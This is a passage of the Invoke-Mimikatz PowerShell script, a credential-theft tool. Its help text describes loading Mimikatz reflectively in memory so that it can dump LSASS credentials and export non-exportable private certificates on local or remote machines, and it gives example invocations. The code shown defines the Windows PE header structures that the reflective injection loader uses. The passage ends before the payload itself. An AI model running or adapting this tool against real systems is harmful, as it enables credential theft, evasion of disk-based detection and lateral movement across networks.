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about.html
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function Invoke-Mimikatz
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.4
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (5/18/2014)
.DESCRIPTION
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
functionality provided with Mimikatz.
.PARAMETER DumpCreds
Switch: Use mimikatz to dump credentials out of LSASS.
.PARAMETER DumpCerts
Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
.PARAMETER Command
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.EXAMPLE
Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts
.EXAMPLE
Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
.EXAMPLE
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
.NOTES
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Find mimikatz at: http://blog.gentilkiwi.com
.LINK
Blog: http://clymb3r.wordpress.com/
Benjamin DELPY blog: http://blog.gentilkiwi.com
Github repo: https://github.com/clymb3r/PowerShell
mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
#>
[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(
[Parameter(Position = 0)]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = "DumpCreds", Position = 1)]
[Switch]
$DumpCreds,
[Parameter(ParameterSetName = "DumpCerts", Position = 1)]
[Switch]
$DumpCerts,
[Parameter(ParameterSetName = "CustomCommand", Position = 1)]
[String]
$Command
)
Set-StrictMode -Version 2
$RemoteScriptBlock = {
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$PEBytes64,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$PEBytes32,
[Parameter(Position = 2, Mandatory = $false)]
[String]
$FuncReturnType,
[Parameter(Position = 3, Mandatory = $false)]
[Int32]
$ProcId,
[Parameter(Position = 4, Mandatory = $false)]
[String]
$ProcName,
[Parameter(Position = 5, Mandatory = $false)]
[String]
$ExeArgs
)
###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
############ ENUM ############
#Enum MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
#Enum MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
#Enum SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
#Enum DllCharacteristicsType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
########### STRUCT ###########
#Struct IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
#Struct IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
#Struct IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
#Struct IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
#Struct IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
#Struct IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
#Struct IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
#Struct IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
#Struct IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
